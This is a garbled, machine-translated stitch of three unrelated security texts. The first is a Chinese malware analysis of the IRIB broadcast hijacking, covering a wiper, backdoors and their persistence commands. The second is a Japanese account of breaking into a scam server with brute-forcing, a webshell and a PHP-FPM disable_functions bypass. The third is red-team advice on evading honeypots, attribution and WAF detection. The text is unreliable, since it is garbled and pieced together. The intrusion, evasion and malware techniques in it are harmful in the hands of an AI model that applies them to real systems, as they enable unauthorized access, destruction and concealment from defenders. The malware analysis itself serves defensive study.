表示,“只有公司使用技術的所有者才能根據系統上安裝的系統功能和被利用的後門進行攻擊的。”類似的攻擊已經攻擊了其他國家運營的廣播頻道。 2 月1 日,IRIB 的網絡流媒體平台Telewebion 再次被劫持,播放抗議信息。這一次,對針對監獄安全攝像頭的攻擊負責的具有政治動機的組織Edalat-e Ali 聲稱對此負責。這種說法是有道理的,因為黑客攻擊期間的視頻廣播在左上角顯示了該組織的徽標。 技術分析根據伊朗國家新聞網絡Akharin Khabar稱,“技術和廣播系統是完全隔離的,它們配備了可接受的安全協議,無法通過互聯網訪問。”伊朗官員稱這次攻擊“極其複雜”。 目前還不清楚攻擊者是如何進入這些網絡的。我們只能檢索到與這些攻擊的後期階段有關的文件,這些文件有: 建立後門及其持久性; 啟動“惡意”視頻或音頻軌道; 安裝wiper惡意軟件以試圖破壞被黑網絡中的操作; 所有這些示例都從多個來源上傳到VirusTotal (VT),主要使用伊朗IP,並包括安裝或啟動有效負載的短批處理腳本、Windows 事件日誌文件或內存轉儲等幾個取證工件,以及有效負載本身。後者主要是.NET 可執行文件,沒有混淆,但帶有時間戳的未來編譯日期。除了具有相同的語言和相同的VT 提交者之外,這些文件還具有其他相似之處,例如PDB 路徑、常用命令、名稱、代碼重用和通用編碼風格。 劫持廣播信號從用於中斷電視流並作為TSE_90E11.mp4 上傳到VT 的MP4 視頻文件中,我們能夠轉向與廣播劫持相關的其他工件,這些工件據稱運行在播放電視節目播出的服務器上。為了播放視頻文件,攻擊者使用了一個名為SimplePlayout.exe 的程序,這是一個基於.NET 的可執行文件,在調試模式下編譯,PDB 路徑為c:\work\SimplePlayout\obj\Debug\SimplePlayout.pdb。該可執行文件只有一個功能:通過Medialooks使用. net MPlatform SDK循環播放視頻文件。 首先,SimplePlayout程序尋找一個名為SimplePlayout.ini的配置文件,該配置文件包含兩行:視頻文件路徑和表示視頻格式的數字。相應的SimplePlayout.ini文件與SimplePlayout一起上傳的值對應於位於c: windows\temp\TSE_90E11.mp4的MP4文件和HD 1080i的視頻格式,刷新率為50 Hz。 為了阻止已經播放的視頻流,攻擊者使用了一個名為playjfalcfgcdq.bat 的批處理腳本。它會阻止正在運行的進程並刪除TFI Arista Playout Server 的可執行文件,這是一種已知IRIB 用於廣播的軟件,隨後卸載Matrox DSX 驅動程序,這是虛擬廣播基礎設施中用於媒體處理的軟件的一部分。 為了組合所有的惡意組件,另一個腳本layoutabcpxtveni.bat做了以下幾件事: 將位於c:\windows\temp\TSE_90E11.003 的MP4 視頻文件重命名為TSE_90E11.mp4。這個文件可能是通過某個後門釋放到那裡的,我們稍後會討論這個問題。 阻止QTV.CG. server .exe(可能是Autocue QTV廣播軟件的一部分)的運行進程,並用SimplePlayout(攻擊者用來播放視頻的工具)覆蓋位於D: CG 1400\QTV.CG. server .exe的原始服務器。 將c:\windows\SimplePlayout.exe拷貝到QTV.CG.Server.exe所在目錄下的SimplePlayout.ini。至少這個批處理腳本示例包含一個拼寫錯誤,因為攻擊者可能打算將SimplePlayout.ini複製到惡意可執行文件附近。 從初始位置和替換位置運行SimplePlayout.exe。 在我們發現的另一組相關工件中,攻擊者利用了包含名為TSE_90E11.001 的25 秒音軌的WAV 文件,類似於被劫持的電視流中使用的MP4 文件的文件名。一個名為Avar.exe 的可執行文件基於NAudio,一個開源的.NET 音頻庫,負責播放WAV 文件。與SimplePlayout.exe 不同,Avar.exe 不依賴於配置文件。相反,它包含硬編碼為C:\windows\temp\TSE_90E11.001 的WAV 文件的路徑。執行後,Avar.exe 會嘗試枚舉所有活動的音頻設備並在每個設備上播放WAV 文件。 最後,一個名為avapweiguyyyy .bat的批處理腳本將這些組件組合在一起。它阻止一個名為Avar.exe的進程,並在C:\ProgramFiles\MIT\AVA\ava.exe中用Avar.exe替換可執行文件。在文件和文件夾中使用的名字Ava可能表明這些文件是為IRIB的Ava電台準備的,儘管它也受到了這次攻擊的影響,這一事實尚未得到官方證實。 wiper我們發現了兩個相同的.NET 示例,名為msdskint.exe,其主要目的是擦除計算機的文件、驅動器和MBR,這也可以從PDB 路徑推導出:C:\work\wiper\Wiper\obj\Release\Wiper.pdb。此外,該惡意軟件還能夠清除Windows 事件日誌、刪除備份、終止進程、更改用戶密碼等。兩個示例均由相同的提交者在與先前討論的工件相同的時間範圍內上傳到VT。 wiper有三種模式來破壞文件,並用隨機值填充字節: Default-覆蓋文件中每個1024 字節塊的前200 字節; light-wipe-覆蓋配置中指定的多個塊; full_purge-覆蓋整個文件內容; wiper通過以下方式之一獲取擦除過程的配置:在命令行參數中,或從文件code meciwipe.ini /code 中的硬編碼默認配置和排除列表中獲取。默認配置包含一個與Windows操作系統和Kaspersky 和Symantec 安全產品相關的預定義排除列表,這些產品在伊朗被廣泛使用: 如果惡意軟件沒有參數,它將作為一個名為“Service1”的服務運行。 主要的wiper函數會計算每個參數的FNV1A32哈希並使用它來確定接下來的行為: DestroyMBR標誌使惡意軟件可以通過寫入一個硬編碼的base64編碼的二進製文件precg.exe,然後運行它來擦除MBR。 precg.exe 是一個基於Gh0stRAT MBR wiper的MBRKiller。 擦除過程從搜索最後一個被擦除的文件開始,惡意軟件將其路徑寫入名為lastfile 的文件(或在wipe_stage_2 的情況下為lastfile2)。然後,檢查每個文件以查看它是否被排除或其擴展名不在預定義列表中: full_purge模式覆蓋文件的所有字節,對於來自的purge_extensions列表的文件總是啟用: 如果啟用了delete_files 標誌,則wiper還會在覆蓋文件後刪除它們。 我們發現了與wiper示例一起提交的其他取證工件,證明wiper確實是在電視環境中執行的: lastfile2 包含最後一個擦除文件的路徑:C:\users\tpa\videos\captures\desktop.ini。僅當wiper以wipe_stage_2模式運行時,才會創建此文件,該模式會在wiper過程之後刪除文件。 breakusufjkjdil.bat 文件,顯示至少一個wiper實例應該運行以終止現有用戶會話並更改所有用戶的密碼:'c:\windows\temp\msdskint.exe' -break-users * -sessi。 事件查看器應用程序日誌文件顯示與擦除服務Service1 相關的事件。日誌包含攻擊後幾個小時的時間戳: 後門WinScreeny此工具的名稱來自PDB 路徑:C:\work\winscreeny\winscreeny\obj\Debug\winscreeny.pdb。該後門的主要目的是對受害者的計算機進行截屏。我們找到了這個後門的兩個示例:第一個是上傳到VT的發布版本,名為mslicval.exe,第二個是名為precg2.exe的調試版本。不用說,這些文件和我們發現的其他工件一起提交給了VT。 根據命令行參數,後門可以以不同的方式運行: None-運行一個SimpleTCPServer 偵聽端口18000。 Service-作為名為Service1 的服務運行。啟動時,該服務使用以下命令創建計劃任務: schtasks /create /TN \'Microsoft\\Windows\\.NET Framework\\.NETASM\'/TR \” file_path \' /ST current_time + 1:10 /SC ONCE /F。 Setup-嘗試使用LsaAddAccountRights API 函數獲取權限,然後將自身作為服務運行。 惡意軟件在端口18000 上偵聽數據包,並且對於每個數據包,它會檢查消息是否包含使用POST 方法發送的scr=命令。如果滿足這些條件,惡意軟件會將屏幕截圖保存到名為screeny- timestamp .png 的文件中,如果成功,則會向攻擊者返回“完成”消息。 有趣的是,該惡意軟件的發布版本還能夠執行命令:它支持s=命令,該命令獲取一個base64 編碼的字符串與1 字節密鑰0x24 進行異或運算。解碼後的字符串由cmd運行,執行結果返回給服務器。處理這個特性的代碼也在我們稍後討論的HttpService 後門中被重用。 HttpCallbackServiceHttpCallbackService是一個遠程管理工具(RAT),有一個熟悉的PDB路徑:C:\work\simpleserver\HttpCallbackService\obj\Release\HttpCallbackService. PDB。它的CC URL可以用兩種不同的方式指定:命令行參數或配置文件callservice.ini。接下來,接收到的值會附加一個短字符串:m=如果URL 以“.aspx”或“.php”結尾; m=,如果URL 以“/”結尾,或者/m=在任何其他情況下。 不幸的是,我們沒有找到任何與HttpCallbackService 相關的配置或其他工件,因此這次攻擊中的CC 服務器仍然未知。 每隔5秒,HttpCallbackService使用webClient向CC URL發送一個請求。 DownloadString方法接收由' \r\n '分割的命令列表。如果惡意軟件在過去的5分鐘內沒有收到任何命令,並且isStayAliveMode標誌被禁用,這個時間幀將增加到1分鐘。 這些是RAT 支持的命令: 當命令的結果上傳到服務器時,數據被發送到一個稍微不同的URL:之前定義的CC URL,現在附加了“1”。 使用以下格式的WebClient.UploadValues 方法發送數據: download=file_name \r\n--------------\r\n base64 of chunk 用於下載命令; command \r\n--------------\r\n result 用於cmd 命令; HttpService HttpService 是另一個偵聽指定端口的後門:它可以是命令行參數、取決於示例的預定義端口或配置文件中的值: exe_name .ini。我們發現了幾個默認端口為19336、19334、19333 的示例,以及上傳到VT 的兩個不同的配置文件,值分別為19336 和19335。 每個示例都有一個硬編碼版本。我們發現的文件屬於三個不同的版本:0.0.5、0.0.11v4H 和0.0.15v4H。 0.0.5 版本使用Simple TCP 服務器偵聽指定端口,而0.0.11v4H 和0.0.15v4H 版本基於Simple HTTP Server。它們都使用HTML Agility Pack 進行HTML 解析,使用IonicZip 庫進行壓縮操作。 後門的最高版本(0.0.15v4H)具有多種功能,包括命令執行和文件操作。 命令執行:命令“cmd”使後門通過cmd.exe運行指定命令,並以如下格式返回結果: div style='color: red' result_string /div 。此外,後門可以在收到“i=”命令時啟動交互式cmd shell,其參數可以是: “1”–從shell 獲取輸出並將其發送回CC。 “2”–結束交互式shell 並清理。 Default-解碼和解密異或字符串,然後在shell 中運行命令並保存輸出。 與WinScreeny 類似,該惡意軟件也具有“s=”命令,其中字符串異或與1 字節密鑰0x24 作為參數。解碼後的字符串由cmd.exe 運行並將結果返回給服務器。 代理連接:收到“p=”或“b=”命令後,後門使用受害者的計算機作為它作為參數獲取的URL 的代理。後門與此URL 通信,重定向CC 服務器的請求,並等待響應將其發送回CC。 下載和上傳文件:“f=”或“1=”命令允許後門從作為參數給定的路徑下載文件,或者將作為參數給定的文件與消息正文的內容一起寫入。在收到“m=”命令後,惡意軟件將消息內容寫入路徑base_directory client_address .out,從base_directory client_address .in 中讀取數據,並將其發送給CC。如果該文件不存在,惡意軟件會創建該文件並將當前日期和時間寫入其中。 運行SQL 命令:“con=”/“c=”命令接收SQL DB 連接字符串和SQL 查詢,並將結果返回給服務器。 操作本地文件:“ path ”命令檢查文件/目錄是否存在,然後根據查詢值執行以下三個運行: ' zip ' -從目錄內容創建一個zip文件,並將其返回給CC; ' unzip ' -使用CC提供的路徑解壓縮文件; “del”-刪除文件。 有趣的是,在所有這三種情況下,惡意軟件都會將整個目錄內容(包括子目錄)作為HTML 頁面返回,其中包含Zip、Unzip 和Delete 按鈕,具體取決於文件的類型。這是攻擊者端的接口: ServerLaunch滴管HttpServer 版本0.0.5 的示例連同其dropper(稱為dwDrvInst.exe)一起提交,它模仿DameWare 可執行的遠程訪問軟件。該工具的PDB 路徑具有相同的模式,C:\work\ServerLaunch\Release\ServerLaunch.pdb。但是,該工具是用C++ 編寫的,而不是像所有其他工具一樣的.NET,並且是在2021 年12 月2 日編譯的,大約是攻擊前2個月。 ServerLaunch 在資源中包含三個可執行文件,分別位於C:\Users\Public\ 中的ionic.zip.dll、httpservice2 和httpservice4。然後惡意軟件不帶任何參數地啟動httpservice2 和httpservice4。它們每個都有一個不同的預定義端口來監聽,這可能允許攻擊者確保CC 通信的某種冗餘。 攻擊中涉及的文件我們已經討論了幾種不同的工具以及與其執行相關的一些工件。很明顯,所有這些工具都是由同一個攻擊者創建並相互關聯的。例如,屏幕截圖工具Winscreeny 不包含將創建的屏幕截圖上傳回攻擊者的功能,這可能意味著它依賴其他後門來執行此操作。所有工具的重複出現的Service1 名稱表明不同的後門,如果在同一台設
  9. 要約 最後のストーリーでは、詐欺サーバーの最高の権限は取得されていますが、これは技術的な制御のみであると述べています。ケースを提出したい場合は、携帯電話、銀行カードなどの人員にできるだけ多くの情報を提供する必要がありますが、現時点では収集されていません(特定の時間のソースコードに銀行口座があると述べましたが、それはテストアカウントであることがわかりましたが、Baiduはそれの多くから出てきたことがわかりました. 情報収集 baota Backstage 最初に思い浮かぶのは、私が以前に入ったことのないパゴダパネルのバックエンドです。ログイン情報などがあるはずですが、ログインパスワードは取得できませんでしたが、これはあまり影響を与えませんでした。パゴダデータベースファイル(パネル/data/default.db、sqliteデータベースファイル)に直接アクセスできるため、アカウントに入ってバックアップして、通常のアカウントが圧倒されるのを防ぐためにパスワードを設定します。 ログをきれいにして、喜んでログインします。 ㄏ(▔、▔)ㄏ: 私が最初に見るのはアカウント名です。管理者の携帯電話番号だと思います。ここで完全に読むことができない場合は、設定にアクセスして見てください。 ソースコードからは見られないアスタリスクを備えた4つのミドルディジットを以下に示しますが、これらも紙のトラであり、その後、インターフェイスがデータを要求し、返品情報が完全な携帯電話番号であることがわかったためです。 WeChatで検索して、このアカウントを見つけました。 しかし、その真正性は不明であり、おそらく単なる表紙なので、最初に覚えておいてください。 新しい出発点 将来のある時点で情報を収集し続けようとしていたとき、私のドメイン名とIPにさえもアクセスできないことがわかりました。私は次の数日間で試してみましたが、収穫後はおそらく逃げていると感じました。当然のことながら、いくつかの情報を除いて、私が取得したすべての許可は無駄になりました。その後、警察が実際に私に連絡したこともありました(私はお茶を飲まなかった、私は良い市民$ _ $です)。私はもう一度私の運を試したかったので、興味深いことが再び起こりました。訪問する前のIPには、このページが表示されました。 まあ、私はその瞬間にタイトルとアイコンをほとんど信じていたことを認めなければならず、それを貫通の正当性を考慮するために3秒を無駄にしました。慎重に考えると、もしそれがその銀行だったら、どのようにしてサーバーを犯罪歴のあるIPに置くことができるかを知っているでしょうか?ページのコンテンツは不合理で、アカウントを登録してログインしました。 脆弱性マイニング ポートサービス =_=まあ、それは良いことです。 NSLookupやDIGなどの通常のツールはドメイン名からIPまでのみ解析できるため、次の分析では上記の推測も確認します。これは、IPでドメイン名を確認するトリックでもあります。ただし、HTTPSを使用するそのようなサイトに遭遇した場合、IPへの直接アクセスを制限しない場合は、ページを正常に入力し、ブラウザの左上隅にあるプロトコル名をクリックして、使用する証明書を表示できます。通常の証明書の「発行」値は、サイトのドメイン名です。明らかにここではなく、一時的またはテスト証明書である必要があります。 次に、ドメイン名を分析します。 ここでは、パブリックDNSを通じて解決されたIPが以前に使用されたものと互換性がないように見えることがわかりました。慎重に考える場合、CDNサービスが使用されるはずです。これらのIPに対応するサーバーは、すべてサービスを提供する3つのパーティ機関です。浸透はそれほど意味がなく、簡単ではありません。ここでは、ソースステーションIPを介して直接入力して申し訳ありません。そうしないと、ドメイン名とCDNを介してソースステーションを取得するのは別の頭痛の種です。 次に、ドメイン名がある場合は、サブドメインの波をスキャンして、潜在的な関連サイトを取得します。 かなりの数があります。最初にバックアップしてから、フロントデスクページの返品データから分析することを覚えています。これはPHPを使用してLinuxサーバーであることがわかりました。これは、以前のWindows IISサーバーとは異なります。ドメイン名がリリースまたは再び販売されているようです。それでは、新しいポートからポートをスキャンしましょう。 私はまだおなじみの数字を見つけましたが、最初にパスワードを実行しました。私の過去の経験によると、スマートマスターに出会ったときにネットを逃したかもしれないので、思慮深いフルポートスキャンサービスも必要です。 確かにいくつかあります。プロトコルに基づいてどのサービスがあるかを大まかに推測できます。それを一つ一つ試してみてください、そして、1つはSSHログインであり、もう1つはパゴダのバックエンドであることがわかります。 パゴダにはまだログイン検証があり、爆破する希望はないので、最初に脇に置くことしかできません。 バックエンドディレクトリ ディレクトリを爆発させる前に、数回ヒットした後、盲目的に背景パスを推測しました。 win-win?存在しないものは、片面╮(╯_╰)╭だけです。ページの簡単な分析の後、ここで魔法のツールを使用する必要はありません。 wfuzzを使用して、アカウントのパスワードの波を実行するだけです。 最初に舞台裏で走り、他の場所を回りましょう。しばらくすると、結果、Yoxi!入って見てください: スズメは小さく、すべての内臓がありますが、予想される興味深いものがいくつかあります。 撤退は言いません。成功することができるかどうかは、管理者の気分によって異なります。以下のものが完全に理解されていないかどうかは関係ありません。たぶん誰もが真実を理解しています。とにかく、それだけです。私はあなたの運命をコントロールし、あなたのリスクを制御します(¬‿¬)。 webshellを取得 私はしばらくして、ページを分析して搾取可能な脆弱性を見つけて、それをガジェットに渡しました。 再び剣を描く時が来ました: 私はディレクトリに行きましたが、それは単純ではないことがわかりました。以前のドメイン名のいくつかが登場しました。それは小さなサイトグループでしょうか?少し後に彼らの建築を理解するのに時間がかかりました。複数のセカンドレベルのドメイン名が現在のIPを指し、いくつかの異なるCDNアドレスを持っています。次に、第2レベルのドメイン名が別のサーバーIPを指します。現在のIPのサーバーには、別の第1レベルのドメイン名に対応する第2レベルのドメイン名が含まれています。これらのサイトは、ほぼ同じコードセットを共有しています。=_=本当に複雑です。それは、うまく計画されていないビジネス拡大のためですか?しかし、それは問題ではありません。サーバーに対応するだけです。 次に、 /etc /passwdファイルにアクセスしてユーザーを表示します。このファイルはLinuxのすべてのユーザーがアクセスできるためです。 すべてがデフォルトアカウントです。現在、WWWアカウントであるため、 /etc /Shadowファイルにアクセスする許可がありません。このファイルは、システム内のすべてのアカウントのパスワードのハッシュ値を記録するため、次のステップは権限を上げることです。 システムディレクトリを閲覧するとき、PHPMyAdminのログインアドレスを見つけました。前にスキャンしなかったのも不思議ではありません。アクセスポータルを確認するためのランダムな複雑なパスを生成するようにパゴダで構成されている必要があります。 アカウントとパスワードは簡単ですが、特定の手段で取得できます。残念ながら、他のパーティは構成されたルートアカウントではなく、サイトにちなんで名付けられたサブアカウントです。これは、サーバーに複数のサイトがあり、権限が高くないためです。最初にログインして、見てください: サイトのフロントとバックエンドからのデータが含まれています。最初に有用な情報を見つけます: テーブルストレージ管理者情報があります。私はあきらめました。ご存知の場合は、コメントできます。テーブルにはパスワードのハッシュ値があります。最初にそれを確認して、あなたの運を試してください: 実際には小さなノートブックがあります(実際に他のサイトを入力するための基礎があります)。 小さなエピソード ディレクトリを閲覧するときに、いくつかの絶妙なガジェットも見つかりました。 場所は大きくなく、とても活気があります。反対側は大きな男性でいっぱいで、彼らを怒らせる余裕はありません。まだいくつかのグループのグループがいるようで、彼らを静かに嘘をつき、お互いを愛し、殺します、私は何も見えませんでした(x_x)。 disable_functionsバイパス 私はもともと仮想端末を開くことを計画していましたが、電力を増やす方法を喜んで研究しましたが、稲妻のストライキが開かれました。 言うまでもなく、システム実行機能のほとんどは無効です。これは、PHP構成アイテムのDisable_Functions値であり、PHPスクリプトでシステムコマンドを実行できるいくつかの機能を制限するために使用されます。もちろん、いくつかの脆弱性バイパス法もあります。時間を節約するには多くの方法があるので、1つずつ手動でテストすることはなく、既存の統合プラグインを直接使用することはありません。 Putenvが無効になっているのを見ると、少しがっかりします。これだけでは、ほとんどのバイパスメソッドを思いとどまらせることができますが、使用する方法がまだ残っているため(PHP-FPM)、まだ試してみる必要があります。システム構成ファイルをチェックすることにより、FPMモジュールで使用されるソケット通信方法が構成されてから開始されることがわかりました。 最後のプロンプトはすべて成功しています。チェックによって生成された動的リンクライブラリファイルも正常にアップロードされましたが、端末はまだ開くことができませんでした。返品データが空であることを促し続けました。最初は、プラグインで使用される関数もPHPによって無効になっているため、戻りが空になり、他の搾取可能な脆弱性は見つかりませんでした。このため、それは週のほとんどで立ち往生していました。その後、情報を確認し、使用率を手動で実装する準備をしました。 実際、この方法の原則は大まかです。PHPは動的な言語ですが、Nginxはこれらを処理できないため、HTTPプロトコルと比較できるFastCGIプロトコルが中央にfastCGIプロトコルがあります。 Nginxは、受信したクライアント要求をFastCGIプロトコル形式のデータに変換し、PHPモジュールのPHP-FPMを使用してこれらのFASTCGIプロトコルデータを処理し、処理のためにPHPインタープレターに渡します。完了後、結果データは以前と同じパスでブラウザクライアントに返されます。したがって、通常、LinuxサーバーでPHPプログラムを開始すると、PHP-FPMと呼ばれるサービスが開始されます。これは通常、マシンの9000ポートまたはソケットファイルをリッスンし、NGINX構成ファイルFastCGIアクセスアドレスもこのポートまたはファイルに割り当てられます。これらはすべて、上記の通信プロセスを完了するためです。 ここで利用可能なポイントは、Nginxへのリクエストをバイパスし、PHP-FPMサービスと直接通信することです。理想的には、構成エラーのため、9000がネイティブインターフェイスではなく、外部ネットワークインターフェイスに耳を傾けます。もちろん、この状況は非常にまれですが、これはローカルマシンを聴くことができないという意味ではありません。 PHPプログラムファイルが書き込み可能であるという前提の下で、プログラム内のCurlインターフェイス(またはStream_Socket_Clientがソケットファイル通信要求を開始する)を介してサーバーのネイティブポート9000へのリクエストを開始でき、FastCGIクライアントを模倣して対応する形式のデータを送信し、NGINXをbypass nigpass niart with phpppmatで送信することができます。 SSRF(サーバー側のリクエスト偽造)と呼ばれるこの操作の別のことわざがあります。つまり、サーバー要求の偽造、サーバーはクライアントが正常にアクセスできないイントラネットリソースにアクセスできます。もちろん、その名前と非常によく似た方法もあります。CSRF(クロスサイトリクエスト偽造、クロスサイトリクエスト偽造)がありますが、これは他のクライアントからのログイン資格情報の盗みです。 ここに別の問題があるかもしれません。このように回った後、私はまだ最終的にPHP-FPMを渡します。この構成の関数制限はまだ存在します。
  10. 最近、私はそれを理解しているので、ブルーチームに戻りました。私は時折、顧客とのつながりにゲストの役割を果たし、接触した各デバイスの特性に基づいていくつかの要約を書きました。レッドチームのビジョンから、ソースが追跡されないようにする方法。 --- 8SEC.CC 1。ハニーポットシステム ブラウザの使用量 単一の分離ブラウザ 浸透中に一般的なブラウザとは異なるブラウザを使用してみてください。 Traseless Mode を使用します FirefoxとChromeには微量モードがあります。ターゲット資産がわからない場合は、テストのためにTrageless Modeをオンにしてください。 上記の2つの方法は、主にJSONPコールバック、XSS、およびハニーポットでその他の脆弱性を使用して、REDチーム担当者のIDと情報を取得することを避けることができます。 ただし、ハニーポットで使用される指紋ライブラリは、ソース訪問者が異なるIPSと異なるブラウザの特定の識別に基づいて同じ人物であるかどうかを判断できます。したがって、トレースレスモードと異なるブラウザのみを使用すると、ハニーポットの認識にもつながります。 アンチハニーポットプラグイン ハニーポットをバイパス AntihoneyPot-ハニーポットXSSIを傍受するクロム拡張機能 関数 ページで開始されたXSSIリクエストを傍受し、特徴の識別を通じて疑わしいXSSI(JSONPコールバック、XSSなど)をブロックし、ハニーポットの固有の特徴を分析し、つかみ、すべてのリクエストを識別し、すべてのリクエストを識別して、ライブラリが存在するかどうかを判断するかどうかを判断します。 Clipboard Pasteが(さらに検証するために)評価されているかどうかを判断するための関連する呼び出しは、ワンクリックで現在のWebサイトのすべてのブラウザデータ機能(すべてのキャッシュおよび保存されたものを含む)をクリアして、ファイルシステムをページで操作できるかどうかを判断します(ここに記述できます)ハニーポットとは、VPSがbeat打されており、日常的に削除されていることは、Redチームの職員がLinux/Windowsの操作とメンテナンスの理解がないということです。 たとえば、Dockerを使用して脆弱な環境を構築することが逃げます。 ワンクリック環境を使用して、デフォルトのプログラムデフォルトパスワード(PHPMYADMIN、BT/PMAの脆弱性、情報漏れの脆弱性)を構築する NMAPのインタラクティブ実行コマンドは、suidビットエスカレーションなどを見つけます。 2。対策を防ぐ さまざまなアプリケーション、iptables、リモートログイン制限ログインソース、およびバーストの数をインストールするためのターゲット制限が必要です。 CSなどのソフトウェアをインストールして使用することをお勧めします。777のアクセス許可は与えません。今回は、権利の逆栄養の事例があります。 サーバースプリングボードマシン 広く流通しているカウンターケースでは、Blue Team VPNインストールパッケージのバンドルされた馬/白と黒の使用により、Red Teamの職員がオンラインになりました。したがって、ファイナンス(すなわちコントロール)、VPNなどのターゲットをダウンロード/インストールする場合は、可能な限り仮想マシンで操作して、異なる作業/プロジェクトごとに画像をロールバックし、仮想マシンネットワークエージェントの構成が完了したらバックアップを作成します。 サーバーインストールアプリケーション/管理 仮想マシンランニングソフトウェア Alibaba Smallアカウントは登録と申請を禁止しており、しばらく閉鎖されると推定されています。定期的な普及中に、SMSカードを購入したり、コードレシーブプラットフォームを使用したり、インターネット電話を使用して電話をかけたり、本名カードを購入したりすることができます。日常生活から身体的孤立を達成することが最善です。 3。隠れている情報 Alipayには以前に問題がありました。オンラインマーチャントバンクを有効にすると、3つの文字を持つ転送オブジェクトの名前を直接確認できます。 2文字の場合、Alipay転送関数を直接使用して、他の情報に基づいて名前を推測できます。 隠された携帯電話番号 Wechatは、IDが漏れている場所でもあります。携帯電話検索をオフにし、Wechatグループに友達を追加し、QRコードが友人を追加できるようにし、3日以内に友人のサークルを見ることができるようにします。友達に可能な限り偽の名前を作るように頼んでください。例:Zhang xx li xx alipay WeChatと同じように、スペースの非フレンドアクセス、アクセス日の制限、写真の制限、写真の壁の制限、ゲームディスプレイを閉じます。友達に可能な限り偽の名前を作るように頼んでください。たとえば、Zhang XX Li XX、私はQQでこの問題を抱えていて、友人の間でメモを使用して私の本名を漏らしました。 https://zhuanlan.zhihu.com/p/95525409 QQ一般的な友達の本名を取得します https://github.com/anntsmart/qq 使用できなくなりましたが、関連するインターフェイスが漏れていないという意味ではありません。たとえば、以前のT.QQ.comでQQにログインすると、セキュリティの検証なしで直接ログインしてQQ SEALEYを取得できます。 wechat :ブラザーパンツなどの一般的なネットワークIDに通常の文字を使用してみてください。この種のニュースフィギュア。 qq 可能な限り偽の名前を作るように友達に依頼してください。たとえば、Zhang XX Li XX、私はQQでこの問題を抱えていて、友人の間でメモを使用して私の本名を漏らしました。 ソーシャルワークライブラリにはますます多くの情報があるため、隠すためにお金を使うことは純粋にダチョウです。したがって、偽の名前+小さなアカウントを使用して排出/明示するなど、さまざまな場所での真の情報のみを隠すことができます。オンラインで生成された情報またはあなたが知っているソースを使用して身元情報を登録します。 ネットワークID隠し ネットワークの隠蔽を強調する必要があります。さまざまなプロキシメソッドと、どのような状況下で使用するのに適したかの違いが必要です。 本名は非表示/誤解を招くです 4。ネットワーク隠蔽 接続トラフィックは暗号化/観察されます。 KCPを使用する場合は、WeChatビデオトラフィックをシミュレートできます。 ss/v2 Socks5が使用されるため、TCPトラフィックのみをプロキシでき、ICMP/UDPはプロキシできません。また、クライアントの転送パフォーマンスの問題により漏れを引き起こすのは簡単です。 利点 短所 従来の専用ラインプロキシモードは、さまざまなシステムのグローバルプロキシをサポートしています。鍵をクラックする可能性は高くありません。プロキシは、異なるアドレスにアクセスして異なるルートに移動するかどうかを判断するために、ルートを手動で設定できます。 0.0.0.0を設定して、VPNの完全なプロトコルに移動できます。 OpenVPN/SoftEtherVpnを簡単に構築できます Linux構造: https://github.com/hwdsl2/setup-ipsec-vpn/blob/master/readme-zh.md vpn l2tp/pptp ネットワークが不安定な場合、背景は簡単に直接落ち、プロンプトは非常に短いため、裸で実行するのは簡単です。ルーターが制限されているときにポート1723のみが外出することを許可されていることをお勧めします。そうすれば、切断されている場合、ネットワークを直接離れることができません。 VPNに接続するまで。国内ネットワーク内のすべてのL2TPトラフィックを復号化できます。 利点 製品リスト: 短所 SSLプロトコルは、主にSSL記録プロトコルとハンドシェイクプロトコルで構成されており、アプリケーションアクセス接続の認証、暗号化、改ざん防止関数を一緒に提供します。トラフィックは暗号化できます。 sslvpn SSL VPNはWebブラウザーアプリケーションに限定されており、一部のプロトコルを使用することはできません。 利点 短所 ソフトウェアをコンパイルする過程で、管理者ユーザーを使用して仮想マシンでコンパイルすることをお勧めします。 C#/Cがコンパイルされた後にユーザー名が漏れた場合、ユーザー名が漏れます。これにより、ID情報はWeibuなどのプラットフォームに関連付けられます。 PDBファイル:すべての開発者が知っておくべきこと 5。開発とアプリケーションが隠されています また、github/blog/wxの記事から別のIDを使用して、以前に作成された誤った情報で取得できる検索結果または情報を集中してみてください。オープンコードのために、個人情報を漏らす機能の害を最小限に抑えます。 デスクトップユーザーを開発およびコンパイルします github/blog/wechat公式アカウント記事 柔軟なC2を使用してCSトラフィックを難読化し、ドメインフロントと協力してバックエンドIPを隠し、デフォルトのCS証明書を置き換えます。 6。ネットワークデバイストラフィックの混乱 いくつかのWAFデバイスのトラフィックを表示すると、WAFの機能的な制限により、大きなパッケージに大きなパッケージを記録しないことがわかります。パッケージがルールをトリガーすると思われる場合は、まずいくつかのガベージ文字を身体に記入できます。このようにして、実際のマッチングコンテンツはハードWAFで見ることができず、ブルーチームを誤解させてビジネスであるかどうかを判断することもできます。 (フルフローデバイスはありません) csトラフィックの混乱 AISA/TIANYANなどのデバイスでは、パッケージに悪意のあるコンテンツがある場合、いくつかの弱いパスワード機能/プレーンテキストパスワードログインおよびその他のアラームを記入して、リスクの高いアラームをカバーします。 パッケージパッド付きバイト WAFのテスト中に混乱を招くホストが見つかった場合、WAFはpre-natアドレスを検出できます。ターゲットイントラネットのいくつかのIPアドレスを理解できる場合は、ホストの難読化を使用して、WAFモニターがpre-natアドレスがイントラネットデバイスのアドレスであると判断できるようにすることができます。これにより、他の当事者が安全なサーバーに応答し、相手の時間コストを増加させるように導くこともできます。 パケット混乱低リスクアラーム 通常、XFFヘッダー偽造はWebログインIPの制限をバイパスするために使用されますが、一部の複雑なイントラネットの場合、セキュリティデバイスはXFFヘッダーを使用して攻撃の最も外側の攻撃IPを判断してからブロックします。これは、攻撃プロセス中に交換するか、XFFヘッダーを追加して、相手の監視担当者を自分で混同します。または、CDNの前にXFFを追加してから、CDNをXFFを連続的に重ねさせます。 WAFでのXFFの追加を表示した後、攻撃IPを127.0.0.1として正常に特定しました。 ホストの混乱 赤いチームプロジェクトのトレーサビリティを防ぐために、可能な限り浸透のためにトラフィックカードを使用することをお勧めします。一部のトラフィックカードは都市にジャンプしますが、これは非常に良いです。私が今使用しているカードを含めて、IP判断は基本的に中国であり、州でさえ出てきません。これは、ブルーチームが一般的に使用されるIPロケーションに基づいて配置されていることは言うまでもありません。 XFFヘッダーの混乱 通常、DNSの特性はブラックドメイン名に定期的に開始されます(有効になっていない場合) この場合、DNS特性を決定することは非常に困難ですが、それを確認する場合は、TianyanでDNS-Type:1を確認できます。 レコードA: DNS-TXTを有効にした後、特性はより明白です。 DNS-TypeはTXTタイプのレコードを見つけることができ、TianyanでDNS-Type:16を検索します。 